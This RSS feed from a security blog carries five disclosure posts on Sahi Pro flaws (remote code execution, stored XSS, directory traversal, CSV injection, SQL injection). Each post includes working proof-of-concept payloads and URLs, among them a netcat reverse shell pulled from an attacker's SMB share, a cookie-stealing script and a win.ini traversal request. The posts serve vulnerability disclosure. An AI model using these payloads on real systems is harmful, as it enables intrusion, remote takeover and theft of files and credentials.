<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>disclosures Archives -</title>
	<atom:link href="https://barriersec.com/category/disclosures/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/category/disclosures/</link>
	<description></description>
	<lastBuildDate>Mon, 14 Sep 2020 03:01:06 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>disclosures Archives -</title>
	<link>https://barriersec.com/category/disclosures/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>CVE-2019-15102 – Sahi pro ( </title>
		<link>https://barriersec.com/2019/08/cve-2019-15102-sahi-pro/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sat, 31 Aug 2019 21:34:48 +0000</pubDate>
				<category><![CDATA[Sahi Pro(<=8.0) RCE]]></category>
		<category><![CDATA[6.x]]></category>
		<category><![CDATA[7.x]]></category>
		<category><![CDATA[8.0]]></category>
		<category><![CDATA[cve-2019-15102]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[sahi pro]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=689</guid>

					<description><![CDATA[<p>It was found in sahi web editor interface, we can set up password to protect from unauthenticated users to misuse&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/08/cve-2019-15102-sahi-pro/">CVE-2019-15102 – Sahi pro ( &lt;= 8.x ) Remote Code Execution</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>It was found in sahi web editor interface, we can set up password to protect from unauthenticated users to misuse the functionalities.</p>
<p>It was found that even with the password protected web portals , an attacker can still bypass and perform all the operations of the interface as there are no server side validations for each request. Here in this example we will demonstrate how an attacker can create any file within sahi pro scripts root folder. This can be extended to all the operations.</p>
<p>This impacts can be maximized with the help of remote execution of sahi scripts feature with the help of testrunner generated URL. As launching these remote execution does not require any kind of authentication / password , chained with the previous bug ( creation of sahi script remotely without password ) results in complete take over of the system running sahi pro .</p>
<p>Here is the detailed proof of concept for the same :</p>
<p>An attacker visits the server running sahi pro. He tries to access the remote editor interface as shown below .</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-695" src="https://barriersec.com/wp-content/uploads/rce_1.png" alt="" width="803" height="580" srcset="https://barriersec.com/wp-content/uploads/rce_1.png 803w, https://barriersec.com/wp-content/uploads/rce_1-300x217.png 300w, https://barriersec.com/wp-content/uploads/rce_1-768x555.png 768w" sizes="(max-width: 803px) 100vw, 803px" /></p>
<p>Fig : Password protected login form.</p>
<p>As he observes that the console is password protected , he sends the script creation request directly to the <strong>EditorUI_saveScript </strong>end point as shown below.</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-696" src="https://barriersec.com/wp-content/uploads/rce_2_2.png" alt="" width="938" height="419" srcset="https://barriersec.com/wp-content/uploads/rce_2_2.png 938w, https://barriersec.com/wp-content/uploads/rce_2_2-300x134.png 300w, https://barriersec.com/wp-content/uploads/rce_2_2-768x343.png 768w" sizes="(max-width: 938px) 100vw, 938px" /></p>
<p>Fig : direct request is sent to the end point with sahi script name and contents</p>
<p>( we make use of <strong>_execute</strong> API to execute system commands )</p>
<p>We have used fine name as <strong>rce.sah</strong> to be created and with contents as follows :</p>
<p><strong>_execute(&#8220;ping 192.168.0.105 -n 5&#8221;);</strong></p>
<p><strong>Here , 192.168.0.105 is IP of attacker machine. We make use of ping as payload because, we already assumed web interface is password protected hence we cannot directly see the output of the log files executed.</strong></p>
<p><strong> </strong></p>
<p>This vulnerability can be chained further with the next vulnerability :</p>
<p>No password authentication for remote executions of sahi scripts . Testrunner.bat or distributed runs does not have any authentication mechanism that can help an attacker to initiate remote runs on machine . this can be abused to launch a denial of service attack or more severe, remote code execution chained with the previous one.</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-697" src="https://barriersec.com/wp-content/uploads/rce_2.png" alt="" width="1689" height="348" srcset="https://barriersec.com/wp-content/uploads/rce_2.png 1689w, https://barriersec.com/wp-content/uploads/rce_2-300x62.png 300w, https://barriersec.com/wp-content/uploads/rce_2-768x158.png 768w, https://barriersec.com/wp-content/uploads/rce_2-1024x211.png 1024w" sizes="(max-width: 1689px) 100vw, 1689px" /></p>
<p><strong>Fig : testrunner batch file converts the request to a URL request which is then fed to master_runNonDistributed / Distributed endpoints.</strong></p>
<p><strong>The url which is generated can be copied and can be used to launch any remote executions , just changing localhost to remote sahi server .</strong></p>
<p><strong>Attacker can the generated URL directly and execute any script he wants, in this case the malicious script he created that is “rce.sah” as follows :</strong></p>
<p><a href="http://192.168.0.104:9999/_s_/dyn/in.co.sahi.command.Master_runNonDistributed?1=1&amp;abortedRetryCount=0&amp;baseURL=https%3A%2F%2Fgoogle.com&amp;browserDeviceParams=ie&amp;browserType=ie&amp;emailPasswordHidden=true&amp;emailProp=&amp;emailProperties=..%5Cconfig%5Cemail.properties&amp;emailTrigger=success%2Cfailure&amp;failureRetryCount=0&amp;host=localhost&amp;isDifferentMasterS=null&amp;isNonDistributedRun=true&amp;isSendEmailS=false&amp;isSingleSessionS=false&amp;logsInfo=html&amp;port=9999&amp;scriptsPathMaster=scripts&amp;sendEmail=false&amp;sendEmailPeriodically=&amp;sendEmailPeriodicallyS=&amp;sendEmailPeriodicallyTime=&amp;showPeriodicSummary=true&amp;startWith=BROWSER&amp;suite=rce.sah&amp;suiteId=sahi_95673a6b0788c048640a8c70ffecf6920d23&amp;threads=5&amp;useSingleSession=false">http://<strong>192.168.0.104</strong>:9999/_s_/dyn/in.co.sahi.command.Master_runNonDistributed?1=1&amp;abortedRetryCount=0&amp;baseURL=https%3A%2F%2Fgoogle.com&amp;browserDeviceParams=ie&amp;browserType=ie&amp;emailPasswordHidden=true&amp;emailProp=&amp;emailProperties=..%5Cconfig%5Cemail.properties&amp;emailTrigger=success%2Cfailure&amp;failureRetryCount=0&amp;host=localhost&amp;isDifferentMasterS=null&amp;isNonDistributedRun=true&amp;isSendEmailS=false&amp;isSingleSessionS=false&amp;logsInfo=html&amp;port=9999&amp;scriptsPathMaster=scripts&amp;sendEmail=false&amp;sendEmailPeriodically=&amp;sendEmailPeriodicallyS=&amp;sendEmailPeriodicallyTime=&amp;showPeriodicSummary=true&amp;startWith=BROWSER&amp;<strong>suite=rce.sah</strong>&amp;suiteId=sahi_95673a6b0788c048640a8c70ffecf6920d23&amp;threads=5&amp;useSingleSession=false</a></p>
<p>&nbsp;</p>
<p>here just changing <strong>suite</strong> get parameter , attacker can execute any suite/script of his choice . he executes the script he created before remotely as follows :</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-698" src="https://barriersec.com/wp-content/uploads/rce_3.png" alt="" width="1867" height="679" srcset="https://barriersec.com/wp-content/uploads/rce_3.png 1867w, https://barriersec.com/wp-content/uploads/rce_3-300x109.png 300w, https://barriersec.com/wp-content/uploads/rce_3-768x279.png 768w, https://barriersec.com/wp-content/uploads/rce_3-1024x372.png 1024w" sizes="(max-width: 1867px) 100vw, 1867px" /></p>
<p>Fig : attacker executes his previously created script with the help of <strong>testrunner</strong> generated URL.</p>
<p>As the payload specified, if the execution is successful , attacker should get a ping request to his machine. This can be confirmed with the help of listening to icmp request using tcpdump as follows :</p>
<p><strong>Tcpdump –I eth0 icmp –vv</strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-699" src="https://barriersec.com/wp-content/uploads/rce_4.png" alt="" width="1111" height="495" srcset="https://barriersec.com/wp-content/uploads/rce_4.png 1111w, https://barriersec.com/wp-content/uploads/rce_4-300x134.png 300w, https://barriersec.com/wp-content/uploads/rce_4-768x342.png 768w, https://barriersec.com/wp-content/uploads/rce_4-1024x456.png 1024w" sizes="(max-width: 1111px) 100vw, 1111px" /></p>
<p>Fig : as we can see attacker machine gets a ICMP echo ping request from remote victim machine running sahi pro .</p>
<p>Now we can confirm the remote code execution. Lets now maximize the impact by getting a complete shell of the victim machine. This can be done with many ways..i use SMB to host a reverse shell which is directly executed by remote server.(temporarily hosted on my attacker box ) to achieve the same(same network).</p>
<p>Command :</p>
<p>_execute(&#8220;<strong>\\\\192.168.0.105\\MENOE\\nc.exe -nv 192.168.0.105 443 -e cmd.exe</strong>&#8220;);</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-700" src="https://barriersec.com/wp-content/uploads/rce8.png" alt="" width="1413" height="566" srcset="https://barriersec.com/wp-content/uploads/rce8.png 1413w, https://barriersec.com/wp-content/uploads/rce8-300x120.png 300w, https://barriersec.com/wp-content/uploads/rce8-768x308.png 768w, https://barriersec.com/wp-content/uploads/rce8-1024x410.png 1024w" sizes="(max-width: 1413px) 100vw, 1413px" /></p>
<p>&nbsp;</p>
<p>Fig : attacker creates another script with the payload specified above.</p>
<p>&nbsp;</p>
<p>executing the script with the same unauthenticated endpoint results in code execution with receiving a proper reverse shell.</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-701" src="https://barriersec.com/wp-content/uploads/rce7.png" alt="" width="1704" height="527" srcset="https://barriersec.com/wp-content/uploads/rce7.png 1704w, https://barriersec.com/wp-content/uploads/rce7-300x93.png 300w, https://barriersec.com/wp-content/uploads/rce7-768x238.png 768w, https://barriersec.com/wp-content/uploads/rce7-1024x317.png 1024w" sizes="(max-width: 1704px) 100vw, 1704px" />                                                Fig : &gt;&gt; Reverse shell &lt;&lt;</p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/08/cve-2019-15102-sahi-pro/">CVE-2019-15102 – Sahi pro ( &lt;= 8.x ) Remote Code Execution</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2018-20472 &#8211; Sahi pro ( </title>
		<link>https://barriersec.com/2019/06/cve-2018-20472-sahi-pro/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Tue, 11 Jun 2019 15:48:52 +0000</pubDate>
				<category><![CDATA[disclosures]]></category>
		<category><![CDATA[Sahi Pro(<=8.x) Stored XSS]]></category>
		<category><![CDATA[7.x]]></category>
		<category><![CDATA[8.x]]></category>
		<category><![CDATA[sahi pro]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=532</guid>

					<description><![CDATA[<p>Sahi Pro web interface is  vulnerable to a Stored XSS . Exploiting this bug needs a prior knowledge of the&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20472-sahi-pro/">CVE-2018-20472 &#8211; Sahi pro ( &lt;= 8.x ) Stored XSS</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><strong>Sahi Pro</strong> web interface is  vulnerable to a <strong>Stored XSS</strong> . Exploiting this bug needs a prior knowledge of the end to end flow and basic scripting of sahi pro .</p>
<p>Sahi pro is a web application automation tool which helps automation testers to automate their web application tasks . It makes it very easy for end users with their readily available API functions . an end user can create a sahi script either by using their sahi programming language ( similar to javascript ) or can use ruby . We will use sahi language itself for this demo.</p>
<p>Sahi has some interesting features such as web application interface which aggregates all the reports for the sahi script execution tasks. It was found that web module is vulnerable to stored cross site scripting.</p>
<p>Here is the Proof of concept for the same:</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-537" src="https://barriersec.com/wp-content/uploads/xss_1.png" alt="" width="1275" height="460" srcset="https://barriersec.com/wp-content/uploads/xss_1.png 1275w, https://barriersec.com/wp-content/uploads/xss_1-300x108.png 300w, https://barriersec.com/wp-content/uploads/xss_1-768x277.png 768w, https://barriersec.com/wp-content/uploads/xss_1-1024x369.png 1024w" sizes="(max-width: 1275px) 100vw, 1275px" /></p>
<p>fig 1 : sahi script containing XSS payload</p>
<p>Here we have created a simple sahi script which uses a testcase API .</p>
<p><strong>var $tc1 = _testcase(&#8220;TC-1&#8243;,&#8221;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&#8221;).start();</strong></p>
<p><strong>_log(&#8220;testing stored XSS injection&#8221;);</strong></p>
<p><strong>$tc1.end();</strong></p>
<p>In the testcase API , as per the documentation provided accepts two parameters ,first one being <strong>testcase ID</strong> and second one <strong>test case description</strong> . Both values are reflected back in the web reports  which triggers the <strong>XSS</strong> vulnerability . save the file as &#8220;filename.sah&#8221;  and with the help of sahi controller execute the script.</p>
<p><img decoding="async" loading="lazy" class="size-full wp-image-539 aligncenter" src="https://barriersec.com/wp-content/uploads/stored_2.png" alt="" width="1456" height="948" srcset="https://barriersec.com/wp-content/uploads/stored_2.png 1456w, https://barriersec.com/wp-content/uploads/stored_2-300x195.png 300w, https://barriersec.com/wp-content/uploads/stored_2-768x500.png 768w, https://barriersec.com/wp-content/uploads/stored_2-1024x667.png 1024w" sizes="(max-width: 1456px) 100vw, 1456px" /></p>
<p>Fig 2 : execute the script in the controller</p>
<p>Now navigate to the executed report in the web report console . XSS is triggered .</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-541" src="https://barriersec.com/wp-content/uploads/stored_3.png" alt="" width="1609" height="698" srcset="https://barriersec.com/wp-content/uploads/stored_3.png 1609w, https://barriersec.com/wp-content/uploads/stored_3-300x130.png 300w, https://barriersec.com/wp-content/uploads/stored_3-768x333.png 768w, https://barriersec.com/wp-content/uploads/stored_3-1024x444.png 1024w" sizes="(max-width: 1609px) 100vw, 1609px" /> <img decoding="async" loading="lazy" class="alignnone size-full wp-image-542" src="https://barriersec.com/wp-content/uploads/xss_3.png" alt="" width="1796" height="795" srcset="https://barriersec.com/wp-content/uploads/xss_3.png 1796w, https://barriersec.com/wp-content/uploads/xss_3-300x133.png 300w, https://barriersec.com/wp-content/uploads/xss_3-768x340.png 768w, https://barriersec.com/wp-content/uploads/xss_3-1024x453.png 1024w" sizes="(max-width: 1796px) 100vw, 1796px" /></p>
<p><strong>   Fig 3 ,4 : Stored XSS triggers .</strong></p>
<p>This can be utilized by a malicious limited user to steal password protected (admin) web reports credentials.</p>
<p>Disclosure timeline :</p>
<p>Reported on : <strong>8 / December / 2018</strong></p>
<p>Affected versions : all versions of <strong>sahi pro ( &lt;= 8.x ) (web application automation )</strong></p>
<p><strong>vendor website</strong> :  https://sahipro.com/</p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20472-sahi-pro/">CVE-2018-20472 &#8211; Sahi pro ( &lt;= 8.x ) Stored XSS</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2018-20470 &#8211; Sahi pro ( </title>
		<link>https://barriersec.com/2019/06/cve-2018-20470-sahi-pro/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Tue, 11 Jun 2019 15:48:35 +0000</pubDate>
				<category><![CDATA[disclosures]]></category>
		<category><![CDATA[Sahi Pro (<=8.x) Directory traversal]]></category>
		<category><![CDATA[7.x]]></category>
		<category><![CDATA[8.x]]></category>
		<category><![CDATA[automation tool]]></category>
		<category><![CDATA[disclosure]]></category>
		<category><![CDATA[sahi pro]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=516</guid>

					<description><![CDATA[<p>Sahi pro is a application automation tool which is quite popular among automation testers . (https://sahipro.com/ )   Being a former&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20470-sahi-pro/">CVE-2018-20470 &#8211; Sahi pro ( &lt;= 8.x ) Directory traversal</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Sahi pro is a application automation tool which is quite popular among automation testers . (<a href="https://sahipro.com/">https://sahipro.com/ </a>)   Being a former automation tester who transitioned to penetration testing,  who also heavily relied on sahi pro for day to day automation activities, An idea raced in my mind to combine both and start hunting for some security bugs in their products. And here is one of the issue that i found in their product.</p>
<p>sahi pro has some interesting features such  as <strong>web reporting interface</strong> and <strong>web editor</strong> which combined and forms report module which aggregates all the automated test execution / suite .  It was found that we can view the source code of any sahi file in the editor to check debug logs, where it highlights failed line or execution flow etc</p>
<p>report interface url can be found at the following location :</p>
<p><strong><a href="http://localhost:9999/logs" target="_blank" rel="noopener noreferrer">http://&lt;ip&gt;:&lt;port&gt;/logs</a> </strong></p>
<p>In the web editor module , it was observed that there  exists a directory traversal vulnerability which allows any user on the same network to view any files on the victim machine running sahi pro automation software. sahi pro allows users to restrict file access for scripts in their configuration file, but this particular module seems to be vulnerable due to lack of server side validations.</p>
<p><strong>Proof of concept  :</strong></p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-523" src="https://barriersec.com/wp-content/uploads/original.png" alt="" width="677" height="258" srcset="https://barriersec.com/wp-content/uploads/original.png 1920w, https://barriersec.com/wp-content/uploads/original-300x114.png 300w, https://barriersec.com/wp-content/uploads/original-768x292.png 768w, https://barriersec.com/wp-content/uploads/original-1024x389.png 1024w" sizes="(max-width: 677px) 100vw, 677px" /></p>
<p>Fig 1 :  shows the reports module which displays and highlights the source code of sahi script file for debugging .</p>
<p>here the get parameter <strong>href </strong>is vulnerable to directory traversal(can also include remote files  to cause Denial of service on victim browser)</p>
<p>Here href get parameter is referring to location :</p>
<p><strong>href=scripts/csv_injection_demo.sah</strong></p>
<p>if its modified to <strong>href=../../supersecret/password.txt </strong>, contents of crucial internal files of the victim machine.</p>
<p><img decoding="async" loading="lazy" class="size-full wp-image-527 aligncenter" src="https://barriersec.com/wp-content/uploads/proof1.png" alt="" width="1412" height="483" srcset="https://barriersec.com/wp-content/uploads/proof1.png 1412w, https://barriersec.com/wp-content/uploads/proof1-300x103.png 300w, https://barriersec.com/wp-content/uploads/proof1-768x263.png 768w, https://barriersec.com/wp-content/uploads/proof1-1024x350.png 1024w" sizes="(max-width: 1412px) 100vw, 1412px" /></p>
<p>Fig 2 : vulnerable to directory traversal.</p>
<p>another snapshot which disclose contents of <strong>win.ini</strong> file</p>
<p><img decoding="async" loading="lazy" class="size-full wp-image-528 aligncenter" src="https://barriersec.com/wp-content/uploads/proof2.png" alt="" width="1353" height="631" srcset="https://barriersec.com/wp-content/uploads/proof2.png 1353w, https://barriersec.com/wp-content/uploads/proof2-300x140.png 300w, https://barriersec.com/wp-content/uploads/proof2-768x358.png 768w, https://barriersec.com/wp-content/uploads/proof2-1024x478.png 1024w" sizes="(max-width: 1353px) 100vw, 1353px" /></p>
<p>Fig 3 : vulnerable to directory traversal.</p>
<p><strong>URL vulnerable :</strong></p>
<p><strong>http://&lt;ip&gt;:&lt;port&gt;/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&amp;n=1#selected</strong></p>
<p><strong>Disclosure timeline :</strong></p>
<p>Notified on : <strong>8 / December / 2018</strong></p>
<p>suggested quick fix till the official patch is released : password protect web reports module</p>
<p>Affected versions : all versions of <strong>sahi pro ( &lt;= 8.x ) (web application automation )</strong></p>
<p><strong>vendor website</strong> :  https://sahipro.com/</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20470-sahi-pro/">CVE-2018-20470 &#8211; Sahi pro ( &lt;= 8.x ) Directory traversal</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2018-20468 – Sahi pro ( </title>
		<link>https://barriersec.com/2019/06/cve-2018-20468-sahi-pro/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Tue, 11 Jun 2019 15:48:01 +0000</pubDate>
				<category><![CDATA[Sahi Pro (<=8.x) CSV Injection]]></category>
		<category><![CDATA[7.x]]></category>
		<category><![CDATA[8.x]]></category>
		<category><![CDATA[disclosure]]></category>
		<category><![CDATA[sahi pro]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=565</guid>

					<description><![CDATA[<p>This is one of the low risk bug which was found in Sahi Pro. Reports web interface allows a user&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20468-sahi-pro/">CVE-2018-20468 – Sahi pro ( &lt;= 8.x ) CSV Injection</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>This is one of the low risk bug which was found in <strong>Sahi Pro.</strong> Reports web interface allows a user to export the executed automation scripts/suite in excel format. It is possible to inject the excel formula which results in command execution on the victim who exports it .</p>
<p><strong>Proof of concept :</strong></p>
<p>excel formulas can be injected inside the sahi script as shown previously with stored XSS inside a testcase API as follows.</p>
<p><strong> script used :</strong></p>
<p><strong>var $tc1 = _testcase(&#8220;TC-1&#8243;,&#8221;=SUM(1+1)*cmd|&#8217; /C calc&#8217;!A0&#8221;).start();</strong></p>
<p><strong>_log(&#8220;testing csv injection&#8221;);</strong></p>
<p><strong>$tc1.end();</strong></p>
<p>Execute the following sahi script and take export of the report as follows :</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-569" src="https://barriersec.com/wp-content/uploads/csv_injection_7.png" alt="" width="1920" height="926" srcset="https://barriersec.com/wp-content/uploads/csv_injection_7.png 1920w, https://barriersec.com/wp-content/uploads/csv_injection_7-300x145.png 300w, https://barriersec.com/wp-content/uploads/csv_injection_7-768x370.png 768w, https://barriersec.com/wp-content/uploads/csv_injection_7-1024x494.png 1024w" sizes="(max-width: 1920px) 100vw, 1920px" /></p>
<p><strong> Fig : executed sahi script with formula injection.</strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-570" src="https://barriersec.com/wp-content/uploads/csv_injection_11.png" alt="" width="1920" height="926" srcset="https://barriersec.com/wp-content/uploads/csv_injection_11.png 1920w, https://barriersec.com/wp-content/uploads/csv_injection_11-300x145.png 300w, https://barriersec.com/wp-content/uploads/csv_injection_11-768x370.png 768w, https://barriersec.com/wp-content/uploads/csv_injection_11-1024x494.png 1024w" sizes="(max-width: 1920px) 100vw, 1920px" /></p>
<p><strong>Fig : victim opens the file and clicks yes on warning and the code                                         executes on victim machine .</strong></p>
<p><strong>Disclosure timeline :</strong></p>
<p>Notified on : <strong>8 / December / 2018</strong></p>
<p>Affected versions : all versions of <strong>sahi pro ( &lt;= 8.x ) (web application automation )</strong></p>
<p><strong>vendor website</strong> :  <a href="https://sahipro.com/">https://sahipro.com/</a></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20468-sahi-pro/">CVE-2018-20468 – Sahi pro ( &lt;= 8.x ) CSV Injection</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2018-20469 &#8211; Sahi pro ( </title>
		<link>https://barriersec.com/2019/06/cve-2018-20469-sahi-pro/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Tue, 11 Jun 2019 15:46:48 +0000</pubDate>
				<category><![CDATA[Sahi Pro(<=8.x) SQL Injection]]></category>
		<category><![CDATA[7.x]]></category>
		<category><![CDATA[8.x]]></category>
		<category><![CDATA[disclosure]]></category>
		<category><![CDATA[sahi pro]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=549</guid>

					<description><![CDATA[<p>An issue was discovered in Tyto Sahi Pro ( &#60;= 8.x ) A parameter in the web reports module is&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20469-sahi-pro/">CVE-2018-20469 &#8211; Sahi pro ( &lt;= 8.x ) SQL Injection</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>An issue was discovered in Tyto Sahi Pro ( &lt;= 8.x )<br />
A parameter in the web reports module is vulnerable to  SQL injection. This can be exploited to inject SQL queries and run standard h2 system functions.</p>
<p>It was found in sahi reports web interface,whenever we search for a particular report using search field , direct sql query was passed as part of GET request. This query can be manipulated to dump internal details such as database name ,database path , read files using h2 system functions , user details , schema details and other critical information related to the internals of sahi database to external adversary  on same network.</p>
<p>Proof of concept :</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-552" src="https://barriersec.com/wp-content/uploads/sql_injection_3.png" alt="" width="1914" height="581" srcset="https://barriersec.com/wp-content/uploads/sql_injection_3.png 1914w, https://barriersec.com/wp-content/uploads/sql_injection_3-300x91.png 300w, https://barriersec.com/wp-content/uploads/sql_injection_3-768x233.png 768w, https://barriersec.com/wp-content/uploads/sql_injection_3-1024x311.png 1024w" sizes="(max-width: 1914px) 100vw, 1914px" /></p>
<p><strong>              Fig 1 : sql query is directly passed as part of GET request</strong></p>
<p>&nbsp;</p>
<p>Sahi web reports interface allows an end user to search for a report based on its name. This user supplied parameter is converted into a SQL query and is directly passed as part of URL as shown in figure 1.</p>
<p>As sahi is using <strong>H2 database</strong> to store the reports and other data, an end user can exploit this scenario to run <strong>h2 database system functions </strong>by manipulating the passed SQL query .</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-555" src="https://barriersec.com/wp-content/uploads/sql_injection_5.png" alt="" width="1920" height="1032" srcset="https://barriersec.com/wp-content/uploads/sql_injection_5.png 1920w, https://barriersec.com/wp-content/uploads/sql_injection_5-300x161.png 300w, https://barriersec.com/wp-content/uploads/sql_injection_5-768x413.png 768w, https://barriersec.com/wp-content/uploads/sql_injection_5-1024x550.png 1024w" sizes="(max-width: 1920px) 100vw, 1920px" /></p>
<p><strong>               Fig 2 : leak of memory used by sahi application ( memory_used() )</strong></p>
<p><strong>Modified URL :</strong></p>
<p><strong>http://localhost:9999/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT memory_used() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS</strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-558" src="https://barriersec.com/wp-content/uploads/sql_injection_4.png" alt="" width="1920" height="723" srcset="https://barriersec.com/wp-content/uploads/sql_injection_4.png 1920w, https://barriersec.com/wp-content/uploads/sql_injection_4-300x113.png 300w, https://barriersec.com/wp-content/uploads/sql_injection_4-768x289.png 768w, https://barriersec.com/wp-content/uploads/sql_injection_4-1024x386.png 1024w" sizes="(max-width: 1920px) 100vw, 1920px" /></p>
<p><strong>           Fig 3 : leak of database path by sahi application ( database_path() )</strong></p>
<p><strong>Modified URL:</strong></p>
<p><strong>http://localhost:9999/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT database_path() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS</strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-560" src="https://barriersec.com/wp-content/uploads/sql_injection_2.png" alt="" width="1915" height="988" srcset="https://barriersec.com/wp-content/uploads/sql_injection_2.png 1915w, https://barriersec.com/wp-content/uploads/sql_injection_2-300x155.png 300w, https://barriersec.com/wp-content/uploads/sql_injection_2-768x396.png 768w, https://barriersec.com/wp-content/uploads/sql_injection_2-1024x528.png 1024w" sizes="(max-width: 1915px) 100vw, 1915px" /></p>
<p><strong>       Fig 4 : leak of current database user by sahi application ( user() )</strong></p>
<p><strong>Modified URL: </strong></p>
<p><strong>http://localhost:9999/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT user() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS</strong></p>
<p>All h2 system functions can be used to abuse and leak more sensitive  information by un-authenticated user .</p>
<p>Disclosure timeline :</p>
<p>disclosed on : 8/ December / 2018</p>
<p>suggested quick fix till the official patch is released : password protect web reports module</p>
<p>Affected versions : all versions of <strong>sahi pro ( &lt;= 8.x ) (web application automation )</strong></p>
<p><strong>vendor website</strong> :  https://sahipro.com/</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/06/cve-2018-20469-sahi-pro/">CVE-2018-20469 &#8211; Sahi pro ( &lt;= 8.x ) SQL Injection</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
